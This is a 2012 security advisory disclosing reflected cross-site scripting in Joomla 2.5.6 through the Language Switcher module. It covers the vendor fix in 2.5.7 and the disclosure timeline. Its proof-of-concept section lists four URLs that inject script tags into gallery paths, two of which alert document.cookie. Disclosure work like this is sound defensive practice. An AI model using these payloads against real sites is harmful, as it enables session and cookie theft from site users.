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SSCHADV2012-014 - Joomla 2.5.6 Multiple Cross-site scripting vulnerabilities

Advisory:
Joomla 2.5.6 Multiple Cross-site scripting vulnerabilities
Advisory ID:
SSCHADV2012-014
Author:
Stefan Schurtz
Affected Software:
Successfully tested on Joomla 2.5.6
Vendor URL:
Vendor Status:
fixed
 
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Vulnerability Description
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With activated "Module Language Switcher – position-4" (Extensions -> Modules -> Module Manager: Module Language Switcher), multiple XSS are possible.
 

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PoC-Exploit
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// with default sample content

http://[target]/joomla/index.php/image-gallery/"><script>alert(document.cookie)</script>/25-koala
http://
[target]/joomla/index.php/image-gallery/"><script>alert(‘xss’)</script>/25-koala

http://
[target]/joomla/index.php/image-gallery/animals/25-"><script>alert(document.cookie)</script>
http://
[target]/joomla/index.php/image-gallery/animals/25-"><script>alert(‘xss’)</script>

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Solution
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Upgrade to version 2.5.7
 
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Disclosure Timeline
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28-Jun-2012 – vendor informed (security@joomla.org)
05-Jul-2012  – vendor informed again (security@joomla.org)
13-Sep-2012 – fixed by vendor

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Credits
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Vulnerabilities found and advisory written by Stefan Schurtz.

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References
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